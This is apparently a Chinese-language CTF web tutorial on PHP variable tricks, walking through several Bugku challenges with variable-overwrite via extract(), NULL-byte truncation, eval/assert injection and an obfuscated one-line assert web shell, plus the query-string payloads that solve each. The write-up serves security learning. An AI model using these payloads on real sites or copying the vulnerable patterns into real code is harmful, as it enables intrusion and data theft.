• CTF-WEB:PHP 变量


    特殊的变量

    可变变量

    一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码:

    <?php
    $a = "b";
    $b = "c";
    $c = "a";
    
    echo $a;      //输出 b
    echo $$a;      //输出 c
    echo $$$a;      //输出 a
    ?>
    

    超全局变量

    PHP 的 $ GLOBALS 是一个超全局变量,它引用全局作用域中可用的全部变量。变量时一个包含了全部变量的全局组合数组,变量的名字就是数组的键。有时候当 flag 隐藏在某个变量中时,可以考虑从 GLOBALS 中得到。

    变量覆盖

    extract() 函数从数组中将变量导入到当前的符号表。使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素将在当前符号表中创建对应的一个变量。extract() 函数也可以将 GET 传入的数据进行转换,例如:

    <?php
    $a = false;
    extract($_GET);
    if($flag)
    {
          echo "flag{}"
    }
    ?>
    

    此时变量 a 已经被定义了,但是在 extract() 函数转换 GET 方法传入的数据时,传入的 a 在转换时就会把原来的变量覆盖掉。

    NULL 截断

    PHP 是基于 C 语言实现的,因此 PHP 在底层使用了一些 C 语言的字符串处理函数。在遇到 NULL(x00) 字符时,处理函数会把该字符当做结束标记,这就可以在遍历结尾处去除不想要的字符。例如这段代码包含的文件名后面会被强行加上字符 'text.html',使得我们不能够直接包含文件。但是我们可以在文件名后面加个 % 00 字符来截断,这样后面的字符就会被忽略了。

    $file = $_GET['file'];
    include $flie.'text.html';
    

    不过这个漏洞在新版本的 PHP 中已经被修好了,很少会用到。

    eval() 函数和 assert

    eval() 函数可以把把字符串当成 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。语法如下:

    eval(phpcode);    //phpcode 参数必需,规定要计算的 PHP 代码。
    

    与之功能相似的是 assert 断言,assert 是个宏,不过为了好理解可以先把它当做和 eval() 函数一样的东西,即可以执行括号内的代码。

    例题:bugku-变量 1

    打开网页,可以直接看到源码。

    flag In the variable !  <?php
    
    error_reporting(0);    // 关闭php错误显示
    include "flag1.php";    // 引入 flag1.php 文件代码
    highlight_file(__file__);
    if(isset($_GET['args'])){    // 通过get方式传递 args变量才能执行if里面的代码
        $args = $_GET['args'];
        if(!preg_match("/^w+$/",$args)){    // 匹配任意大小写字母和 0 到 9 以及下划线组成
            die("args error!");
        }
        eval("var_dump($$args);");      //var_dump() 函数用于输出变量的相关信息
    }
    ?>
    

    因为这里有个 preg_match() 函数,它会通过正则表达式匹配字符串,因此不能使用其他的漏洞。根据提示 flag 藏在一个变量之中,观察到代码中有“$$”的可变变量用法。

    也就是说,此时不需要去猜测 flag 藏在那个变量中,因为知道了变量名,有了“$$”也不能直接访问。现在需要知道保存 flag 的变量是哪个变量的值,因为 var_dump() 函数可以输出变量,如果变量是个数组也可以,例如:

    <?php
    $args = array(1, 2, 3);
    var_dump($args);
    ?>
    

    则数组 args 中的内容都可以被输出来,因此该函数也能把 “$GLOBALS” 中的内容都输出来。因此我们只需要把 GLOBALS 传递过去就行,构造 payload:

    ?args=GLOBALS
    

    例题:bugku-extract 变量覆盖

    源码如下,flag 变量已经被定义了,如果用 GET 传入的变量中存在一个名叫 shiyan 的字符串,则将 flag 变量的值赋给 content 变量,如果变量 shiyan 和变量 content 的值相同就输出 flag 的值。

    <?php
    $flag='xxx';
    extract($_GET);
    if(isset($shiyan))
    {
        $content=trim(file_get_contents($flag));
        if($shiyan==$content)
        {
              echo'flag{xxx}';
        }
        else
        {
              echo'Oh.no';
        }
    }
    ?>
    

    此时 flag 变量被赋值成什么值我们不得而知,所以现在的想法是把 flag 变量覆盖掉。由于 extract() 函数可以将所有 GET 方法传入的数据全部换成变量,因此可以在传入 shiyan 变量时也传入一个 flag 变量。构造 payload 提交到指定网页,提交获得 flag。

    ?shiyan=&flag=
    

    例题:bugku-Web 8

    源码如下,注意到代码中使用了 extract() 获取了系列参数,考虑使用变量覆盖的手法。根据对源码的分析,变量 f 的值来自于变量 fn 表示的文件,当变量 ac 等于变量 f 的值时输出 flag。注意这里的判断使用的是 “===”,而且变量 ac 不能为空。

    <?php
    extract($_GET);
    if (!empty($ac))
    {
        $f = trim(file_get_contents($fn)); 
        if ($ac === $f)
        {
            echo "<p>This is flag:" ." $flag</p>";
        }
        else   
        {
            echo "<p>sorry!</p>";
        }
    }
    ?>
    

    根据提示 “txt????” 我们猜测可能还有某个 txt 文件能为我们所用,根据经验这个文件可能是 flag.txt。访问 flag.txt 文件,得到这个文件的内容是 “flags”。

    接下来就可以解题了,我们可以覆盖变量 fn,fn 的值为 flag.txt,这样 f 变量的值经过 file_get_contents() 文件提取函数之后的值应该为 “flags”。接着我们让 ac 的值也为 “flags”,这样就同时满足 ac 不为空且等于变量 f 了。综上所述,构造 payload:

    ?ac=flags&fn=flag.txt
    

    例题:bugku-本地包含

    题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。

    <?php
        include "flag.php";
        $a = @$_REQUEST['hello'];
        eval("var_dump($a);");      //var_dump() 函数可以输出变量的类型和值
        show_source(__FILE__);
    ?>
    

    除了利用 eval() 函数和使用 PHP 伪协议,还可以直接把 flag.php 导入到 hello 变量中直接显示出来。

    hello=file("flag.php")
    

    例题:bugku-过狗一句话

    首先先认识下下 explode() 函数,函数可以使用一个字符串分割另一个字符串,并返回由字符串组成的数组。函数语法和参数如下:

    explode(separator,string,limit)
    
    参数 说明
    separator 必需,规定在哪里分割字符串
    string 必需,要分割的字符串
    limit 可选,规定所返回的数组元素的数目

    例如以下代码:

    $str = 'one,two,three,four';
    print_r(explode(',',$str));
    

    输出的结果为:

    Array
    (
        [0] => one
        [1] => two
        [2] => three
        [3] => four
    )
    

    源码如下,观察到有一个 explode() 函数,也就是说字符串 poc 将会被切割为一个数组。

    <?php
        $poc = "a#s#s#e#r#t";
        $poc_1 = explode("#",$poc);
        $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
        $poc_2($_GET['s'])
    ?>
    

    此处稍微有点不好理解,变量 poc_2 是由 5 个字符拼接成的字符串 “assert”。此时注意看最后一行的写法,“$” 符号提取 poc_2 中的值,后面接上代码等同于使用了 assert 函数。

    assert($_GET['s'])
    

    注意这里括号内的代码是用 GET 方法传入的变量 s 中的内容,也就是说我们可以将一段代码赋给 s 来执行。我们怀疑 flag 藏在网页目录下的一个文件中,因此可以使用 scandir() 函数来获取目录下的所有文件,然后带上输出函数看看。

    ?s=print_r(scandir('./'))
    


    这里可以看到 flag 所在的文件了,访问之后获得。

  • 相关阅读:
    C#学习笔记
    Visual Studio 快捷键
    java 8 中lambda表达式学习
    Spfa算法
    dijkstra算法
    topSort
    并查集--学习详解
    trie树--详解
    POJ1988 并查集的使用
    Mybatis的一级缓存和二级缓存
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13521819.html
Copyright © 2020-2023  润新知